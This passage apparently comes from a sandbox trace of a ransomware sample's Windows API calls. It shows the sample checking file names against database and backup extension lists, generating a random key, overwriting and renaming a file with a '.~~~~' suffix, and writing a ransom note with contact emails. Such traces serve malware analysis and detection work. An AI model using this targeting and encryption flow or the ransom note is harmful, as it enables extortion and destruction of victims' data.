	[0083.975] lstrlenW (lpString=".accdb") returned 6
	[0083.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".accdb") returned 0x0
	[0083.975] lstrlenW (lpString=".DBX") returned 4
	[0083.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".DBX") returned 0x0
	[0083.975] lstrlenW (lpString=".MDT") returned 4
	[0083.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".MDT") returned 0x0
	[0083.975] lstrlenW (lpString=".SQB") returned 4
	[0083.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".SQB") returned 0x0
	[0083.975] lstrlenW (lpString=".vhd") returned 4
	[0083.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".vhd") returned 0x0
	[0083.975] lstrlenW (lpString=".bac") returned 4
	[0083.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".bac") returned 0x0
	[0083.975] lstrlenW (lpString=".mdf") returned 4
	[0083.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".mdf") returned 0x0
	[0083.975] lstrlenW (lpString=".BAK") returned 4
	[0083.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".BAK") returned 0x0
	[0083.976] lstrlenW (lpString=".BAC") returned 4
	[0083.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".BAC") returned 0x0
	[0083.976] lstrlenW (lpString=".dbs") returned 4
	[0083.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".dbs") returned 0x0
	[0083.976] lstrlenW (lpString=".vhdx") returned 5
	[0083.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".vhdx") returned 0x0
	[0083.976] lstrlenW (lpString=".NDF") returned 4
	[0083.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".NDF") returned 0x0
	[0083.976] lstrlenW (lpString=".dat") returned 4
	[0083.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".dat") returned 0x0
	[0083.976] lstrlenW (lpString=".DBS") returned 4
	[0083.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".DBS") returned 0x0
	[0083.976] lstrlenW (lpString=".CKP") returned 4
	[0083.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".CKP") returned 0x0
	[0083.976] lstrlenW (lpString=".edb") returned 4
	[0083.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".edb") returned 0x0
	[0083.976] lstrlenW (lpString=".PST") returned 4
	[0083.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".PST") returned 0x0
	[0083.976] lstrlenW (lpString=".dbf") returned 4
	[0083.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".dbf") returned 0x0
	[0083.976] lstrlenW (lpString=".SQL") returned 4
	[0083.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".SQL") returned 0x0
	[0083.976] lstrlenW (lpString=".pst") returned 4
	[0083.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".pst") returned 0x0
	[0083.976] lstrlenW (lpString=".dbv") returned 4
	[0083.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".dbv") returned 0x0
	[0083.976] lstrlenW (lpString=".SDF") returned 4
	[0083.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".SDF") returned 0x0
	[0083.976] lstrlenW (lpString=".dtxs") returned 5
	[0083.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".dtxs") returned 0x0
	[0083.977] lstrlenW (lpString=".db3") returned 4
	[0083.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".db3") returned 0x0
	[0083.977] lstrlenW (lpString=".OST") returned 4
	[0083.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".OST") returned 0x0
	[0083.977] lstrlenW (lpString=".dbx") returned 4
	[0083.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".dbx") returned 0x0
	[0083.977] lstrlenW (lpString=".DB3") returned 4
	[0083.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".DB3") returned 0x0
	[0083.977] lstrlenW (lpString=".DAT") returned 4
	[0083.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".DAT") returned 0x0
	[0083.977] lstrlenW (lpString=".VHDX") returned 5
	[0083.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".VHDX") returned 0x0
	[0083.977] lstrlenW (lpString=".ndf") returned 4
	[0083.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".ndf") returned 0x0
	[0083.977] lstrlenW (lpString=".DB") returned 3
	[0083.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".DB") returned 0x0
	[0083.977] lstrlenW (lpString=".sql") returned 4
	[0083.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".sql") returned 0x0
	[0083.977] lstrlenW (lpString=".MYD") returned 4
	[0083.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".MYD") returned 0x0
	[0083.977] lstrlenW (lpString=".DBT") returned 4
	[0083.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".DBT") returned 0x0
	[0083.977] lstrlenW (lpString=".ACCDB") returned 6
	[0083.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".ACCDB") returned 0x0
	[0083.977] lstrlenW (lpString=".fdb") returned 4
	[0083.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".fdb") returned 0x0
	[0083.977] lstrlenW (lpString=".bak") returned 4
	[0083.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".bak") returned 0x0
	[0083.977] lstrlenW (lpString=".myd") returned 4
	[0083.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".myd") returned 0x0
	[0083.977] lstrlenW (lpString=".DTXS") returned 5
	[0083.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".DTXS") returned 0x0
	[0083.977] lstrlenW (lpString=".ckp") returned 4
	[0083.978] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".ckp") returned 0x0
	[0083.978] lstrlenW (lpString=".dbt") returned 4
	[0083.978] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".dbt") returned 0x0
	[0083.978] lstrlenW (lpString=".db") returned 3
	[0083.978] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".db") returned 0x0
	[0083.978] lstrlenW (lpString=".TXT") returned 4
	[0083.978] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".TXT") returned 0x0
	[0083.978] lstrlenW (lpString=".MDF") returned 4
	[0083.978] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".MDF") returned 0x0
	[0083.978] lstrlenW (lpString=".bdb") returned 4
	[0083.978] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".bdb") returned 0x0
	[0083.978] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0083.978] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0083.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0083.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0083.978] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0083.979] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0083.979] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0083.979] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0083.979] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0083.979] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0083.979] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20396923921) returned 1
	[0083.979] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9be2e3d0, dwHighDateTime=0x1d60e1e)) 
	[0083.979] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0083.979] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0083.979] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0083.979] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a23d8
	[0083.979] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0083.979] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a23d8 | out: hHeap=0x300000) returned 1
	[0083.979] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0083.979] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0083.980] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab768
	[0083.980] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0083.980] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.980] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab768 | out: hHeap=0x300000) returned 1
	[0083.980] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0083.980] GetLastError () returned 0x0
	[0083.980] GetLastError () returned 0x0
	[0083.980] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0083.980] GetLastError () returned 0x0
	[0083.980] GetLastError () returned 0x0
	[0083.982] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffffafa1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0083.982] WriteFile (in: hFile=0x118, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x505f, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x26dfec0*=0x505f, lpOverlapped=0x0) returned 1
	[0083.982] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0083.982] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.983] WriteFile (in: hFile=0x118, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0083.983] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0083.983] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0083.983] CloseHandle (hObject=0x118) returned 1
	[0083.983] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5690
	[0083.983] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.~~~~")) returned 1
	[0083.986] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5690 | out: hHeap=0x300000) returned 1
	[0083.986] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0083.986] GetLastError () returned 0x0
	[0083.986] RtlWakeConditionVariable () returned 0x365f70
	[0083.986] GetCurrentThreadId () returned 0x9cc
	[0083.987] GetCurrentThreadId () returned 0x9cc
	[0083.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab768
	[0083.987] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab6c0 | out: hHeap=0x300000) returned 1
	[0083.987] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2410 | out: hHeap=0x300000) returned 1
	[0083.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab6c0
	[0083.987] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0083.987] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0083.987] WriteFile (in: hFile=0x118, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0083.989] CloseHandle (hObject=0x118) returned 1
	[0083.989] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab6c0 | out: hHeap=0x300000) returned 1
	[0083.989] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab768 | out: hHeap=0x300000) returned 1
	[0083.989] RtlWakeConditionVariable () returned 0x365f70
	[0083.989] GetCurrentThreadId () returned 0x9cc
	[0083.989] GetCurrentThreadId () returned 0x9cc
	[0083.989] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4328
	[0083.989] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5240 | out: hHeap=0x300000) returned 1
	[0083.989] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2448 | out: hHeap=0x300000) returned 1
	[0083.989] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5240
	[0083.989] lstrlenW (lpString=".scr") returned 4
	[0083.989] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".scr") returned 0x0
	[0083.989] lstrlenW (lpString=".cmd") returned 4
	[0083.989] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".cmd") returned 0x0
	[0083.989] lstrlenW (lpString=".dll") returned 4
	[0083.989] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".dll") returned 0x0
	[0083.989] lstrlenW (lpString=".bat") returned 4
	[0083.989] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".bat") returned 0x0
	[0083.989] lstrlenW (lpString=".cpl") returned 4
	[0083.989] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".cpl") returned 0x0
	[0083.989] lstrlenW (lpString=".sys") returned 4
	[0083.989] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".sys") returned 0x0
	[0083.989] lstrlenW (lpString=".msc") returned 4
	[0083.989] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".msc") returned 0x0
	[0083.989] lstrlenW (lpString=".com") returned 4
	[0083.989] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".com") returned 0x0
	[0083.989] lstrlenW (lpString=".lnk") returned 4
	[0083.990] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".lnk") returned 0x0
	[0083.990] lstrlenW (lpString=".msp") returned 4
	[0083.990] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".msp") returned 0x0
	[0083.990] lstrlenW (lpString=".pif") returned 4
	[0083.990] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".pif") returned 0x0
	[0083.990] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0083.990] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch="msp\r\n.pif") returned 0x0
	[0083.990] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0083.991] lstrlenW (lpString=".sqb") returned 4
	[0083.991] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".sqb") returned 0x0
	[0083.991] lstrlenW (lpString=".ost") returned 4
	[0083.991] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".ost") returned 0x0
	[0083.991] lstrlenW (lpString=".txt") returned 4
	[0083.991] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".txt") returned 0x0
	[0083.991] lstrlenW (lpString=".mdt") returned 4
	[0083.991] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".mdt") returned 0x0
	[0083.991] lstrlenW (lpString=".BDB") returned 4
	[0083.991] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".BDB") returned 0x0
	[0083.991] lstrlenW (lpString=".eql") returned 4
	[0083.991] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".eql") returned 0x0
	[0083.991] lstrlenW (lpString=".DBF") returned 4
	[0083.991] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".DBF") returned 0x0
	[0083.991] lstrlenW (lpString=".EQL") returned 4
	[0083.991] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".EQL") returned 0x0
	[0083.991] lstrlenW (lpString=".FDB") returned 4
	[0083.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".FDB") returned 0x0
	[0083.992] lstrlenW (lpString=".EDB") returned 4
	[0083.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".EDB") returned 0x0
	[0083.992] lstrlenW (lpString=".DACPAC") returned 7
	[0083.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".DACPAC") returned 0x0
	[0083.992] lstrlenW (lpString=".VHD") returned 4
	[0083.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".VHD") returned 0x0
	[0083.992] lstrlenW (lpString=".DBV") returned 4
	[0083.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".DBV") returned 0x0
	[0083.992] lstrlenW (lpString=".dacpac") returned 7
	[0083.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".dacpac") returned 0x0
	[0083.992] lstrlenW (lpString=".sdf") returned 4
	[0083.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".sdf") returned 0x0
	[0083.992] lstrlenW (lpString=".accdb") returned 6
	[0083.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".accdb") returned 0x0
	[0083.992] lstrlenW (lpString=".DBX") returned 4
	[0083.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".DBX") returned 0x0
	[0083.992] lstrlenW (lpString=".MDT") returned 4
	[0083.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".MDT") returned 0x0
	[0083.992] lstrlenW (lpString=".SQB") returned 4
	[0083.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".SQB") returned 0x0
	[0083.992] lstrlenW (lpString=".vhd") returned 4
	[0083.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".vhd") returned 0x0
	[0083.992] lstrlenW (lpString=".bac") returned 4
	[0083.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".bac") returned 0x0
	[0083.992] lstrlenW (lpString=".mdf") returned 4
	[0083.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".mdf") returned 0x0
	[0083.992] lstrlenW (lpString=".BAK") returned 4
	[0083.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".BAK") returned 0x0
	[0083.992] lstrlenW (lpString=".BAC") returned 4
